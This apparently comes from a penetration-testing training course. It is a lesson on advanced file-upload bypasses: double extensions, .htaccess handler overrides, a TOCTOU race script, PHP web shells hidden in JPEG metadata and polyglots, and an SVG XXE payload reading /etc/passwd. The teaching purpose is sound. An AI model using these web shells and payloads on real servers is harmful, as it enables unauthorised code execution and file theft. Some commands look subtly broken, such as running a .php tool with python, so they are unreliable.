In previous lessons, we covered common bypass techniques that work against basic validation. In this lesson, we will explore advanced techniques used when applications implement more robust server-side checks. These techniques are frequently encountered in bug bounty programs and real-world penetration tests where developers have attempted to secure their upload functionality.
A double extension attack exploits how different systems parse filenames. A file named shell.php.jpg might be interpreted differently by the validation logic versus the web server. The validation might check the last extension (.jpg — allowed), while the web server might execute based on the first extension (.php).
Filename: shell.php.jpg
Apache with default config: Executes as PHP (first extension)
Apache with mod_rewrite: May serve as static file
IIS 6 and older: Executes as PHP (stops at first semicolon or space)
Nginx with misconfig: May execute based on location blockVariations include shell.php%00.jpg (null byte, older systems), shell.php....jpg (multiple dots), and shell.pHp (case sensitivity bypass on case-sensitive filesystems).
On Apache servers, if you can upload a .htaccess file, you can change the server's configuration for the upload directory. This is one of the most powerful bypass techniques because it can make any file extension executable as PHP.
# .htaccess content to make .jpg files executable as PHP
AddType application/x-httpd-php .jpg
# Alternative: use SetHandler
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>After uploading this .htaccess file to the upload directory, any .jpg file in that directory will be executed as PHP. You can then upload a file named shell.jpg containing PHP code, and it will be executed by the server.
⚠️ The .htaccess attack only works on Apache servers with the AllowOverride directive enabled. It does not work on Nginx, which does not use .htaccess files. Always identify the web server type before attempting this technique.
Time-of-Check to Time-of-Use (TOCTOU) race conditions occur when the application validates the file first and then moves it to its final location. Between the validation and the move, the file exists in a temporary location. If an attacker can rapidly upload a file, access it, and re-upload a different file with the same name, they might be able to access the original file before it's deleted or moved.
The attack flow looks like this:
import requests
import threading
TARGET = "http://target.com/upload"
SHELL_URL = "http://target.com/uploads/temp_shell.php"
def upload_benign():
while True:
files = {'file': ('shell.php', open('benign.jpg', 'rb'), 'image/jpeg')}
requests.post(TARGET, files=files)
def access_shell():
while True:
r = requests.get(SHELL_URL)
if r.status_code == 200 and 'root' in r.text:
print("[+] Shell accessed!")
print(r.text)
break
# Run both threads simultaneously
t1 = threading.Thread(target=upload_benign)
t2 = threading.Thread(target=access_shell)
t1.start()
t2.start()Some applications use image processing libraries (GD, ImageMagick) to recompile uploaded images, which should strip any embedded code. However, these libraries can be tricked by embedding code in metadata sections that survive the recompilation process.
# Embed PHP code in the Comment field of a JPEG using exiftool
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# Verify the metadata was written
exiftool image.jpg | grep Comment
# Comment: <?php system($_GET["cmd"]); ?>If the application only resizes the image but preserves metadata, the PHP code in the Comment field survives. This code won't execute just by being in the JPEG, but if there's a Local File Inclusion (LFI) vulnerability elsewhere in the application, the attacker can include the image file and the PHP code will be executed.
💡 The combination of file upload + LFI is extremely powerful and common in CTF challenges. Always check for LFI when testing file uploads — even if the upload itself doesn't lead to code execution, the uploaded file might be includable through an LFI vulnerability.
A polyglot file is a single file that is valid in multiple formats simultaneously. For example, a file that is both a valid JPEG and a valid PHP script. Tools like jpg-payload can create these files automatically.
# Using jpg-payload to create a polyglot JPEG/PHP
git clone https://github.com/silentsignal/jpg-payload.git
cd jpg-payload
# Create polyglot with PHP payload
python jpg-payload.php image.jpg "<?php system($_GET['cmd']); ?>" > polyglot.php.jpg
# The resulting file:
# - Passes getimagesize() checks (valid image dimensions)
# - Passes magic byte checks (starts with FF D8 FF)
# - Contains executable PHP codeSVG files are XML-based and can contain JavaScript, making them a vector for both XSS and SSRF. If an application allows SVG uploads, test for:
<!-- SVG with XXE payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
<text x="10" y="50">&xxe;</text>
</svg>Advanced bypass techniques require patience and systematic testing. During a penetration test, document every technique you attempt — even the ones that fail. This demonstrates thoroughness and helps the development team understand the full attack surface.
Verify exercises to earn ★ 200 XP and unlock next lab level.